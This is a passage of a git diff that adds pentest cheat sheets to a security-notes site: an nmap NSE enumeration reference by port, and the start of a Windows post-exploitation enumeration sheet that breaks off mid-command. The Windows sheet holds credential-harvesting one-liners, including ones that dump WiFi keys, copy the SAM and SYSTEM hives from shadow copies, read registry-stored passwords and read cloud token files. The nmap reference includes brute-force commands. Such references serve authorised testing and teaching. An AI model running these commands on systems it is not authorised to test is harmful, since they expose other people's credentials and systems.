disclosure**: Reveals internal domain names without authentication + +--- + +## Port 161/162 - SNMP (Simple Network Management Protocol) + +> [!info]+ SNMP Quick Reference +> See **SNMP Service Scripts Deep Dive** section above for comprehensive coverage. Port 161 for queries (UDP), 162 for traps (UDP). + +**Essential SNMP Commands**: +```bash +# Quick SNMP enumeration +nmap -sU -p161 --script=snmp-info,snmp-interfaces <target> + +# SNMP community string brute force +nmap -sU -p161 --script=snmp-brute <target> + +# Comprehensive SNMP assessment +nmap -sU -p161 --script="snmp-* and not brute" <target> +``` + +--- + +## Port 389/636/3268/3269 - LDAP/LDAPS/Global Catalog + +> [!info]+ [LDAP Service Overview](https://ldap.com/) +> Lightweight Directory Access Protocol for directory services. Port 389 for LDAP, 636 for LDAPS (SSL/TLS), 3268 for Global Catalog (AD), 3269 for Global Catalog SSL. Active Directory primary protocol. + +**Key NSE Scripts for LDAP**: + +> [!info]+ LDAP Enumeration Scripts +> 1. **[ldap-rootdse](https://nmap.org/nsedoc/scripts/ldap-rootdse.html)**: Anonymous directory enumeration +> 2. **[ldap-search](https://nmap.org/nsedoc/scripts/ldap-search.html)**: LDAP object search (requires auth) +> 3. **[ldap-brute](https://nmap.org/nsedoc/scripts/ldap-brute.html)**: Credential brute forcing + +```bash +# Anonymous LDAP enumeration (rootDSE) +nmap -p389,636 --script=ldap-rootdse <target> + +# LDAP search with credentials +nmap -p389 --script=ldap-search --script-args ldap.username="CN=user,DC=domain,DC=com",ldap.password=password <target> + +# LDAP brute force (noisy) +nmap -p389 --script=ldap-brute --script-args userdb=users.txt,passdb=pass.txt <target> + +# Global Catalog enumeration +nmap -p3268,3269 --script=ldap-rootdse <target> + +# Comprehensive LDAP assessment +nmap -sV -p389,636,3268,3269 --script="ldap-* and not brute" <target> +``` + +> [!success]+ Expected LDAP Output +> ``` +> PORT STATE SERVICE VERSION +> 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: contoso.local, Site: Default-First-Site-Name) +> | ldap-rootdse: +> | LDAP Results +> | domainFunctionality: 7 +> | forestFunctionality: 7 +> | domainControllerFunctionality: 7 +> | rootDomainNamingContext: DC=contoso,DC=local +> | ldapServiceName: contoso.local:dc01$@CONTOSO.LOCAL +> | isGlobalCatalogReady: TRUE +> | supportedSASLMechanisms: GSSAPI, GSS-SPNEGO, EXTERNAL, DIGEST-MD5 +> | dnsHostName: dc01.contoso.local +> | defaultNamingContext: DC=contoso,DC=local +> | serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=contoso,DC=local +> ``` + +> [!tip]+ LDAP Security Assessment Notes +> 1. **ldap-rootdse**: Reveals domain structure, forest functional level, DC names +> 2. **Anonymous binding**: Some LDAP servers allow anonymous rootDSE queries +> 3. **Functional level**: Indicates Windows Server version (7 = Server 2016+) +> 4. **Global Catalog**: Ports 3268/3269 indicate domain controller +> 5. **LDAP signing**: Modern AD enforces LDAP signing and channel binding + +--- + +## Port 443 - HTTPS (Covered in Port 80/443 section, SSL/TLS focus) + +> [!info]+ HTTPS Quick Reference +> See **Port 80/443/8080/8443 - HTTP/HTTPS** section above for comprehensive coverage. + +**Essential HTTPS Commands**: +```bash +# SSL/TLS assessment +nmap -p443 --script=ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle <target> + +# Comprehensive HTTPS security audit +nmap -sV -p443 --script="(http-* or ssl-*) and not brute" <target> +``` + +--- + +## Port 514 - Syslog + +> [!info]+ [Syslog Service Overview](https://en.wikipedia.org/wiki/Syslog) +> System logging protocol. Port 514 UDP for syslog. Centralized logging service commonly used by network devices and Unix/Linux systems. + +**Key NSE Scripts for Syslog**: + +> [!info]+ Syslog Enumeration Scripts +> 1. **[syslog-detect](https://nmap.org/nsedoc/scripts/syslog-detect.html)**: Detects syslog service + +```bash +# Syslog detection +nmap -sU -p514 --script=syslog-detect <target> + +# Test syslog message injection +nmap -sU -p514 --script=syslog-detect --script-args syslog-detect.facility=user,syslog-detect.severity=info <target> +``` + +> [!warning]+ Syslog Security Notes +> 1. **Open syslog**: Allows log injection attacks +> 2. **Information disclosure**: May reveal system details in error messages +> 3. **DoS potential**: Log flooding can fill disk space + +--- + +## Port 873 - Rsync + +> [!info]+ [Rsync Service Overview](https://rsync.samba.org/) +> File synchronization and transfer protocol. Port 873 for rsync daemon. Commonly used for backups and mirroring. + +**Key NSE Scripts for Rsync**: + +> [!info]+ Rsync Enumeration Scripts +> 1. **[rsync-list-modules](https://nmap.org/nsedoc/scripts/rsync-list-modules.html)**: Lists available rsync modules +> 2. **[rsync-brute](https://nmap.org/nsedoc/scripts/rsync-brute.html)**: Credential brute forcing + +```bash +# List rsync modules +nmap -p873 --script=rsync-list-modules <target> + +# Rsync brute force +nmap -p873 --script=rsync-brute --script-args userdb=users.txt,passdb=pass.txt <target> + +# Comprehensive rsync assessment +nmap -sV -p873 --script="rsync-*" <target> +``` + +> [!success]+ Expected Rsync Output +> ``` +> PORT STATE SERVICE VERSION +> 873/tcp open rsync (protocol version 31) +> | rsync-list-modules: +> | backup Backup files +> | data Data directory +> | home Home directories +> |_ www Web root +> ``` + +> [!tip]+ Rsync Security Assessment Notes +> 1. **Anonymous access**: Some rsync modules allow unauthenticated access +> 2. **Sensitive paths**: backup, home, www modules may contain sensitive data +> 3. **Write access**: Writable modules allow file upload/modification + +--- + +## Port 1433/1434 - Microsoft SQL Server (MSSQL) + +> [!info]+ MSSQL Quick Reference +> See **Database Service Scripts Deep Dive** section for comprehensive coverage. Port 1433 for SQL Server, 1434 UDP for SQL Server Browser. + +**Essential MSSQL Commands**: +```bash +# Quick MSSQL enumeration +nmap -p1433 --script=ms-sql-info,ms-sql-ntlm-info <target> + +# MSSQL brute force +nmap -p1433 --script=ms-sql-brute <target> + +# Comprehensive MSSQL assessment +nmap -sV -p1433 --script="ms-sql-* and not brute" <target> +``` + +--- + +## Port 1521 - Oracle Database + +> [!info]+ Oracle Database Quick Reference +> See **Database Service Scripts Deep Dive** section for comprehensive coverage. + +**Essential Oracle Commands**: +```bash +# Oracle SID brute force +nmap -p1521 --script=oracle-sid-brute <target> + +# Oracle credential brute force +nmap -p1521 --script=oracle-brute --script-args sid=ORCL <target> +``` + +--- + +## Port 2049 - NFS (Network File System) + +> [!info]+ [NFS Service Overview](https://en.wikipedia.org/wiki/Network_File_System) +> Network File System for Unix/Linux file sharing. Port 2049 for NFSv3/v4. Requires RPCBind (port 111) for NFSv3. + +**Key NSE Scripts for NFS**: + +> [!info]+ NFS Enumeration Scripts +> 1. **[nfs-showmount](https://nmap.org/nsedoc/scripts/nfs-showmount.html)**: Lists NFS exports +> 2. **[nfs-ls](https://nmap.org/nsedoc/scripts/nfs-ls.html)**: Lists directory contents +> 3. **[nfs-statfs](https://nmap.org/nsedoc/scripts/nfs-statfs.html)**: Filesystem statistics + +```bash +# List NFS exports +nmap -p111,2049 --script=nfs-showmount <target> + +# List directory contents +nmap -p2049 --script=nfs-ls --script-args nfs.export=/share <target> + +# NFS filesystem statistics +nmap -p2049 --script=nfs-statfs <target> + +# Comprehensive NFS assessment +nmap -sV -p111,2049 --script="nfs-*" <target> +``` + +> [!success]+ Expected NFS Output +> ``` +> PORT STATE SERVICE VERSION +> 2049/tcp open nfs 3-4 (RPC #100003) +> | nfs-showmount: +> | /home 192.168.1.0/24 +> | /var/nfs * +> |_ /backups (everyone) +> | nfs-ls: Volume /home +> | access: Read Lookup NoModify NoExtend NoDelete NoExecute +> | PERMISSION UID GID SIZE TIME FILENAME +> | drwxr-xr-x 1000 1000 4096 2026-01-20T10:30:00 user1 +> | drwxr-xr-x 1001 1001 4096 2026-01-21T14:15:00 user2 +> |_ drwxr-xr-x 1002 1002 4096 2026-01-22T09:45:00 admin +> ``` + +> [!warning]+ NFS Security Considerations +> 1. **Wildcard exports**: `*` or `(everyone)` allows world access +> 2. **Sensitive paths**: /home, /root, /etc exports reveal user data +> 3. **no_root_squash**: Allows client root to be server root (critical) +> 4. **NFSv3 vs NFSv4**: NFSv4 has better security (Kerberos support) + +--- + +## Port 3306 - MySQL/MariaDB + +> [!info]+ MySQL Quick Reference +> See **Database Service Scripts Deep Dive** section for comprehensive coverage. + +**Essential MySQL Commands**: +```bash +# Quick MySQL enumeration +nmap -p3306 --script=mysql-info,mysql-empty-password <target> + +# MySQL brute force +nmap -p3306 --script=mysql-brute <target> + +# Comprehensive MySQL assessment +nmap -sV -p3306 --script="mysql-* and not brute" <target> +``` + +--- + +## Port 3389 - RDP (Remote Desktop Protocol) + +> [!info]+ [RDP Service Overview](https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-clients) +> Remote Desktop Protocol for Windows graphical remote access. Port 3389 TCP. Critical service for Windows administration. + +**Key NSE Scripts for RDP**: + +> [!info]+ RDP Enumeration Scripts +> 1. **[rdp-enum-encryption](https://nmap.org/nsedoc/scripts/rdp-enum-encryption.html)**: Enumerates encryption methods +> 2. **[rdp-ntlm-info](https://nmap.org/nsedoc/scripts/rdp-ntlm-info.html)**: Domain disclosure via NTLM +> 3. **[rdp-vuln-ms12-020](https://nmap.org/nsedoc/scripts/rdp-vuln-ms12-020.html)**: MS12-020 vulnerability + +```bash +# RDP encryption enumeration +nmap -p3389 --script=rdp-enum-encryption <target> + +# RDP NTLM information disclosure +nmap -p3389 --script=rdp-ntlm-info <target> + +# RDP vulnerability assessment +nmap -p3389 --script=rdp-vuln-ms12-020 <target> + +# Comprehensive RDP assessment +nmap -sV -p3389 --script="rdp-*" <target> +``` + +> [!success]+ Expected RDP Output +> ``` +> PORT STATE SERVICE VERSION +> 3389/tcp open ms-wbt-server Microsoft Terminal Services +> | rdp-enum-encryption: +> | Security layer +> | CredSSP (NLA): SUCCESS +> | CredSSP with Early User Auth: SUCCESS +> | Native RDP: SUCCESS +> | SSL: SUCCESS +> | RDP Encryption level: High +> | 128-bit RC4: SUCCESS +> |_ FIPS 140-1: SUCCESS +> | rdp-ntlm-info: +> | Target_Name: WORKSTATION +> | NetBIOS_Domain_Name: CONTOSO +> | NetBIOS_Computer_Name: WS01 +> | DNS_Domain_Name: contoso.local +> | DNS_Computer_Name: ws01.contoso.local +> | Product_Version: 10.0.17763 +> ``` + +> [!tip]+ RDP Security Assessment Notes +> 1. **NLA (Network Level Authentication)**: Modern security requiring auth before session +> 2. **Encryption level**: High/FIPS better than Low/Medium +> 3. **rdp-ntlm-info**: Reveals domain and computer names without authentication +> 4. **MS12-020**: Denial of service vulnerability (Server 2008 and earlier) +> 5. **BlueKeep (CVE-2019-0708)**: RCE vulnerability (pre-patch Server 2008/Windows 7) + +--- + +## Port 5432 - PostgreSQL + +> [!info]+ PostgreSQL Quick Reference +> See **Database Service Scripts Deep Dive** section for comprehensive coverage. + +**Essential PostgreSQL Commands**: +```bash +# PostgreSQL brute force +nmap -p5432 --script=pgsql-brute <target> + +# PostgreSQL with credentials +nmap -p5432 --script=pgsql-brute --script-args userdb=users.txt,passdb=pass.txt <target> +``` + +--- + +## Port 5900-5909 - VNC (Virtual Network Computing) + +> [!info]+ [VNC Service Overview](https://en.wikipedia.org/wiki/Virtual_Network_Computing) +> Virtual Network Computing for graphical remote access. Ports 5900-5909 (display :0-:9). Cross-platform remote desktop protocol. + +**Key NSE Scripts for VNC**: + +> [!info]+ VNC Enumeration Scripts +> 1. **[vnc-info](https://nmap.org/nsedoc/scripts/vnc-info.html)**: VNC server information +> 2. **[vnc-brute](https://nmap.org/nsedoc/scripts/vnc-brute.html)**: Password brute forcing +> 3. **[realvnc-auth-bypass](https://nmap.org/nsedoc/scripts/realvnc-auth-bypass.html)**: RealVNC authentication bypass + +```bash +# VNC server information +nmap -sV -p5900 --script=vnc-info <target> + +# VNC authentication bypass check +nmap -p5900 --script=realvnc-auth-bypass <target> + +# VNC password brute force +nmap -p5900 --script=vnc-brute <target> + +# Scan VNC display range +nmap -p5900-5909 --script=vnc-info <target> + +# Comprehensive VNC assessment +nmap -sV -p5900-5909 --script="vnc-* and not brute" <target> +``` + +> [!success]+ Expected VNC Output +> ``` +> PORT STATE SERVICE VERSION +> 5900/tcp open vnc RealVNC 4.1.2 (protocol 3.8) +> | vnc-info: +> | Protocol version: 3.8 +> | Security types: +> | VNC Authentication (2) +> |_ Tight (16) +> ``` + +> [!warning]+ VNC Security Considerations +> 1. **No encryption**: VNC transmits data unencrypted (use SSH tunnel) +> 2. **Password-only auth**: VNC typically uses single password, no usernames +> 3. **realvnc-auth-bypass**: Critical vulnerability in RealVNC 4.1.0/4.1.1 +> 4. **vnc-brute throttling**: VNC servers often throttle connection attempts +> 5. **Default passwords**: Many VNC installations use weak or default passwords + +--- + +## Port 6379 - Redis + +> [!info]+ Redis Quick Reference +> See **Database Service Scripts Deep Dive** section for comprehensive coverage. + +**Essential Redis Commands**: +```bash +# Redis information gathering +nmap -p6379 --script=redis-info <target> + +# Redis brute force +nmap -p6379 --script=redis-brute <target> +``` + +--- + +## Port 8080/8443 - Alternative HTTP/HTTPS + +> [!info]+ Alternative HTTP Ports Quick Reference +> See **Port 80/443/8080/8443 - HTTP/HTTPS** section for comprehensive coverage. Commonly used for web application servers, proxies, management interfaces. + +**Essential Commands**: +```bash +# Quick web enumeration on alternative ports +nmap -sV -p8080,8443 --script=http-title,http-headers,http-methods <target> + +# Comprehensive assessment +nmap -sV -p8080,8443 --script="(http-* or ssl-*) and safe" <target> +``` + +--- + +## Port 9200/9300 - Elasticsearch + +> [!info]+ Elasticsearch Quick Reference +> See **Database Service Scripts Deep Dive** section for comprehensive coverage. Port 9200 for HTTP API, 9300 for node communication. + +**Essential Elasticsearch Commands**: +```bash +# Elasticsearch cluster information +nmap -p9200 --script=elasticsearch-info <target> + +# Elasticsearch via HTTP enumeration +nmap -p9200 --script=http-title,http-headers <target> +``` + +--- + +## Port 27017/27018 - MongoDB + +> [!info]+ MongoDB Quick Reference +> See **Database Service Scripts Deep Dive** section for comprehensive coverage. Port 27017 for MongoDB, 27018 for shard server. + +**Essential MongoDB Commands**: +```bash +# MongoDB information gathering +nmap -p27017 --script=mongodb-info,mongodb-databases <target> + +# MongoDB brute force +nmap -p27017 --script=mongodb-brute <target> +``` + +--- + +## Port Range Summary Table + +| Port(s) | Service | Safe Scripts | Vuln Scripts | Brute Scripts | OPSEC Risk | +|:---|:---|:---|:---|:---|:---| +| 20-21 | FTP | ftp-anon, ftp-syst | ftp-vuln-*, ftp-vsftpd-backdoor | ftp-brute | Medium | +| 22 | SSH | ssh-hostkey, ssh-auth-methods, ssh2-enum-algos | sshv1 | ssh-brute | Very High | +| 23 | Telnet | telnet-encryption, telnet-ntlm-info | - | telnet-brute | High | +| 25/587 | SMTP | smtp-commands, smtp-ntlm-info | smtp-vuln-* | smtp-brute, smtp-enum-users | High | +| 53 | DNS | dns-recursion, dns-nsid | - | dns-brute, dns-zone-transfer | Very High | +| 80/443 | HTTP/S | http-title, http-headers, ssl-cert | http-vuln-*, ssl-* | http-brute | Medium-High | +| 88 | Kerberos | - | - | krb5-enum-users | Medium | +| 110/995 | POP3 | pop3-capabilities, pop3-ntlm-info | - | pop3-brute | High | +| 111 | RPCBind | rpcinfo, nfs-showmount | - | - | Low | +| 135 | MSRPC | msrpc-enum | - | - | Low | +| 139/445 | SMB | smb-os-discovery, smb-security-mode | smb-vuln-* | smb-brute | Medium | +| 143/993 | IMAP | imap-capabilities, imap-ntlm-info | - | imap-brute | High | +| 161 | SNMP | snmp-info, snmp-interfaces | - | snmp-brute | Medium | +| 389/636 | LDAP | ldap-rootdse | - | ldap-brute | Medium | +| 514 | Syslog | syslog-detect | - | - | Low | +| 873 | Rsync | rsync-list-modules | - | rsync-brute | Medium | +| 1433 | MSSQL | ms-sql-info, ms-sql-ntlm-info | ms-sql-vuln-* | ms-sql-brute | Medium | +| 1521 | Oracle | - | - | oracle-sid-brute, oracle-brute | High | +| 2049 | NFS | nfs-showmount, nfs-ls | - | - | Low | +| 3306 | MySQL | mysql-info, mysql-empty-password | - | mysql-brute | High | +| 3389 | RDP | rdp-enum-encryption, rdp-ntlm-info | rdp-vuln-ms12-020 | - | Low | +| 5432 | PostgreSQL | - | - | pgsql-brute | High | +| 5900 | VNC | vnc-info | realvnc-auth-bypass | vnc-brute | Medium | +| 6379 | Redis | redis-info | - | redis-brute | Medium | +| 8080/8443 | Alt HTTP/S | http-title, http-headers | http-vuln-*, ssl-* | http-brute | Medium-High | +| 9200 | Elasticsearch | elasticsearch-info | - | - | Low | +| 27017 | MongoDB | mongodb-info, mongodb-databases | - | mongodb-brute | Medium | + +--- + +## Multi-Port Scanning Strategies + +> [!tip]+ Efficient Multi-Service Enumeration +> Scan multiple related services simultaneously to build comprehensive target profile. + +```bash +# Full TCP common port scan with default scripts +nmap -sC -sV -p- <target> -oA full_tcp_scan + +# Top 1000 ports with safe enumeration +nmap -sV --script="safe and not intrusive" --top-ports 1000 <target> -oA top1000_safe + +# All database ports +nmap -sV --script="(mysql-* or ms-sql-* or oracle-* or mongodb-* or redis-* or pgsql-*) and not brute" -p1433,1521,3306,5432,6379,9200,27017 <target> -oA databases + +# All Windows/AD ports +nmap -sV --script="(smb-* or ldap-* or msrpc-* or rdp-* or krb5-*) and not brute" -p88,135,139,389,445,636,3268,3269,3389 <target> -oA windows_ad + +# All mail ports +nmap -sV --script="(smtp-* or pop3-* or imap-*) and not brute" -p25,110,143,465,587,993,995 <target> -oA mail_services + +# All web ports +nmap -sV --script="(http-* or ssl-*) and safe" -p80,443,8080,8081,8443,8888,9090 <target> -oA web_services + +# Complete service enumeration (safe only, no brute) +nmap -sS -sU -sV --script="safe and not brute" -p T:21-23,25,53,80,88,110,111,135,139,143,389,443,445,636,1433,1521,2049,3306,3389,5432,5900,6379,8080,8443,9200,27017,U:53,161,514 <target> -oA complete_safe_enum +``` + +--- + +## References + +1. [Nmap Official Documentation](https://nmap.org/book/) +2. [NSE Documentation Portal](https://nmap.org/nsedoc/) +3. [NSE Script Categories Reference](https://nmap.org/book/nse-usage.html) +4. [Port Number Registry (IANA)](https://www.iana.org/assignments/service-names-port-numbers/) +5. [Common Ports List](https://www.speedguide.net/ports.php) +6. [HackTricks - Network Service Pentesting](https://book.hacktricks.xyz/network-services-pentesting) +7. [MITRE ATT&CK Framework](https://attack.mitre.org/) +8. [SecLists Wordlist Repository](https://github.com/danielmiessler/SecLists) +9. [RFC Index](https://www.rfc-editor.org/rfc-index.html) +10. [CVE Database](https://cve.mitre.org/) + +--- + +#Nmap #NSE #NetworkEnumeration #ServiceDetection #VulnerabilityScanning #Reconnaissance #Pentesting #SecurityAssessment #NetworkSecurity #InfoSec #PortScanning #FTP #SSH #HTTP #HTTPS #SMB #DNS #LDAP #MySQL #MSSQL #PostgreSQL #MongoDB #Redis #Elasticsearch #SNMP #RDP #VNC #Kerberos diff --git a/src/content/sheets/enumeration/windows-enumeration.md b/src/content/sheets/enumeration/windows-enumeration.md @@ -0,0 +1,559 @@ +--- +title: "Windows Enumeration" +description: "Quick one-liners for post-exploitation enumeration on Windows systems." +category: enumeration +tags: ["enumeration", "privilege-escalation"] +tools: ["PowerShell"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/Windows Emumeration.md" +--- +# Windows Enumeration Cheat Sheet + +Quick one-liners for post-exploitation enumeration on Windows systems. + +--- + +## System Information + +```cmd +:: Basic system info +systeminfo +hostname +whoami /all + +:: OS version and architecture +wmic os get caption,version,osarchitecture +[Environment]::Is64BitOperatingSystem + +:: Installed patches/hotfixes +wmic qfe list full +wmic qfe get HotFixID,InstalledOn + +:: Environment variables +set +Get-ChildItem Env: + +:: Check if machine is domain-joined +systeminfo | findstr /B "Domain" +wmic computersystem get domain +``` + +--- + +## Current User Context + +```cmd +:: Who am I? +whoami +whoami /priv +whoami /groups +whoami /all + +:: Current user's home directory +echo %USERPROFILE% +$env:USERPROFILE + +:: Check for admin privileges +net session 2>nul && echo Admin || echo Not Admin +``` + +--- + +## Users and Groups + +```cmd +:: List all local users +net user +Get-LocalUser + +:: Detailed user info +net user <username> +Get-LocalUser -Name <username> | Select-Object * + +:: List all local groups +net localgroup +Get-LocalGroup + +:: Members of specific groups +net localgroup Administrators +net localgroup "Remote Desktop Users" +net localgroup "Backup Operators" +Get-LocalGroupMember -Group "Administrators" + +:: Domain users (if domain-joined) +net user /domain +net group /domain +net group "Domain Admins" /domain +net group "Enterprise Admins" /domain +``` + +--- + +## Network Information + +```cmd +:: IP configuration +ipconfig /all +Get-NetIPConfiguration +Get-NetIPAddress + +:: Routing table +route print +Get-NetRoute + +:: ARP cache +arp -a +Get-NetNeighbor + +:: Active connections +netstat -ano +netstat -anob +Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,State,OwningProcess + +:: Listening ports +netstat -an | findstr LISTENING +Get-NetTCPConnection -State Listen + +:: DNS cache +ipconfig /displaydns + +:: Network shares +net share +Get-SmbShare + +:: Connected shares +net use +Get-SmbConnection + +:: Firewall status +netsh advfirewall show allprofiles +Get-NetFirewallProfile + +:: Firewall rules +netsh advfirewall firewall show rule name=all +Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'} +``` + +--- + +## Password Hunting + +### Common Credential Locations + +```powershell +# Search for files containing "password" +findstr /si "password" *.txt *.ini *.config *.xml *.cfg +findstr /spin "password" *.* + +# Search entire C: drive (slow but thorough) +findstr /si /m "password" C:\*.txt C:\*.ini C:\*.config C:\*.xml + +# PowerShell recursive search +Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.config,*.xml,*.cfg -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" -ErrorAction SilentlyContinue + +# Search for common credential patterns +findstr /si "pwd= pass= passwd= credentials" *.* 2>nul +findstr /si "connectionstring" *.config *.xml 2>nul +``` + +### Unattended Installation Files + +```cmd +:: Classic unattend files (often contain plaintext/base64 passwords) +type C:\unattend.xml +type C:\Windows\Panther\unattend.xml +type C:\Windows\Panther\Unattend\unattend.xml +type C:\Windows\system32\sysprep.inf +type C:\Windows\system32\sysprep\sysprep.xml + +:: Check all possible locations +dir /s /b C:\*unattend*.xml 2>nul +dir /s /b C:\*sysprep*.xml 2>nul +dir /s /b C:\*sysprep*.inf 2>nul +``` + +### Web Config Files + +```cmd +:: IIS web.config files +type C:\inetpub\wwwroot\web.config +type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config + +:: Find all web.config files +dir /s /b C:\web.config 2>nul +dir /s /b C:\inetpub\*.config 2>nul + +:: Search for connection strings +findstr /si "connectionString" C:\inetpub\*.config 2>nul +``` + +### Registry Stored Credentials + +```cmd +:: Autologon credentials +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon + +:: VNC passwords +reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul +reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password 2>nul +reg query "HKLM\SOFTWARE\RealVNC\vncserver" /v Password 2>nul + +:: Putty stored sessions +reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s + +:: SNMP community strings +reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities" 2>nul + +:: Search registry for password strings +reg query HKLM /f password /t REG_SZ /s 2>nul +reg query HKCU /f password /t REG_SZ /s 2>nul +``` + +### SAM and SYSTEM Files (requires SYSTEM privileges) + +```cmd +:: Check for backup SAM files +dir /s /b C:\Windows\repair\SAM 2>nul +dir /s /b C:\Windows\System32\config\RegBack\SAM 2>nul + +:: Shadow copy SAM extraction +vssadmin list shadows +copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM +copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM +``` + +### Credential Manager + +```cmd +:: List saved credentials +cmdkey /list +vaultcmd /listcreds:"Windows Credentials" /all + +:: PowerShell credential manager enum +Get-ChildItem -Path C:\Users\*\AppData\Local\Microsoft\Credentials -Recurse -Force -ErrorAction SilentlyContinue +Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Credentials -Recurse -Force -ErrorAction SilentlyContinue +``` + +### DPAPI Master Keys + +```powershell +# DPAPI master key locations +Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Protect -Recurse -Force -ErrorAction SilentlyContinue +Get-ChildItem -Path C:\Users\*\AppData\Local\Microsoft\Protect -Recurse -Force -ErrorAction SilentlyContinue +``` + +### WiFi Passwords + +```cmd +:: List saved WiFi profiles +netsh wlan show profiles + +:: Extract WiFi password (run for each profile) +netsh wlan show profile name="<SSID>" key=clear + +:: One-liner to dump all WiFi passwords +for /f "tokens=2 delims=:" %a in ('netsh wlan show profiles ^| findstr "Profile"') do @netsh wlan show profile name=%a key=clear | findstr "Key Content" +``` + +### Browser Credentials + +```cmd +:: Chrome saved passwords location +dir "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data" 2>nul + +:: Firefox profiles +dir "C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*" 2>nul + +:: Edge passwords +dir "C:\Users\*\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" 2>nul +``` + +### Common Application Credentials + +```cmd +:: FileZilla +type "C:\Users\*\AppData\Roaming\FileZilla\recentservers.xml" 2>nul +type "C:\Users\*\AppData\Roaming\FileZilla\sitemanager.xml" 2>nul + +:: WinSCP +reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s 2>nul + +:: mRemoteNG (encrypted but crackable) +type "C:\Users\*\AppData\Roaming\mRemoteNG\confCons.xml" 2>nul + +:: RDP connection history +reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s + +:: AWS credentials +type C:\Users\*\.aws\credentials 2>nul + +:: Azure CLI +type C:\Users\*\.azure\accessTokens.json 2>nul +``` + +--- + +## PowerShell History + +```powershell +# Current user's PSReadLine history (most common) +type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt +Get-Content (Get-PSReadLineOption).HistorySavePath + +# All users' PowerShell history +Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "`n=== $($_.FullName) ===" -ForegroundColor Yellow; Get-Content $_ } + +# Search history for interesting strings +Select-String -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -Pattern "password","credential","secret","key","token" -ErrorAction SilentlyContinue + +# Transcript logs (if enabled) +Get-ChildItem -Path C:\Users\*\Documents\PowerShell_transcript* -ErrorAction SilentlyContinue +dir /s /b C:\*transcript*.txt 2>nul +``` + +--- + +## Scheduled Tasks + +```cmd +:: List all scheduled tasks +schtasks /query /fo LIST /v +Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} + +:: Detailed task info +schtasks /query /tn "<taskname>" /fo LIST /v +Get-ScheduledTask -TaskName "<taskname>" | Get-ScheduledTaskInfo + +:: Find tasks running as SYSTEM or high-priv users +schtasks /query /fo LIST /v | findstr /i "Task To Run: Run As User:" + +# PowerShell - tasks with actions +Get-ScheduledTask | ForEach-Object { $task = $_; $_.Actions | ForEach-Object { [PSCustomObject]@{TaskName=$task.TaskName; Execute=$_.Execute; Arguments=$_.Arguments; RunAs=$task.Principal.UserId} }} +``` + +--- + +## Services + +```cmd +:: List all services +sc query state= all +Get-Service +wmic service list brief + +:: Find services running as SYSTEM +wmic service get name,startname | findstr /i "LocalSystem" + +:: Detailed service info +sc qc <servicename> +Get-Service -Name <servicename> | Select-Object * +Get-WmiObject win32_service | Where-Object {$_.Name -eq "<servicename>"} | Select-Object * + +:: Find unquoted service paths +wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ +Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "*`"*" -and $_.PathName -like "* *"} | Select-Object Name,PathName,StartMode + +:: Service binary permissions (check with icacls) +for /f "tokens=2 delims='='" %a in ('wmic service list full ^| findstr /i "pathname" ^| findstr /i /v "system32"') do @echo %a >> c:\temp\services.txt +``` + +--- + +## Installed Software + +```cmd +:: Installed programs (32-bit and 64-bit) +wmic product get name,version +Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion +Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion + +:: Programs in Program Files +dir "C:\Program Files" /b +dir "C:\Program Files (x86)" /b + +:: Recently installed programs +Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Sort-Object InstallDate -Descending | Select-Object -First 20 DisplayName,InstallDate +``` + +--- + +## Processes + +```cmd +:: List all processes +tasklist /v +Get-Process | Select-Object ProcessName,Id,Path + +:: Processes with owners +Get-WmiObject Win32_Process | Select-Object ProcessId,Name,@{N='Owner';E={$_.GetOwner().User}} + +:: Find processes running as SYSTEM +tasklist /v | findstr /i "SYSTEM" + +:: Process command lines +wmic process get processid,commandline +Get-WmiObject Win32_Process | Select-Object ProcessId,CommandLine +``` + +--- + +## Privilege Escalation Vectors + +### AlwaysInstallElevated + +```cmd +:: Check if AlwaysInstallElevated is set (both must be 1) +reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul +reg query 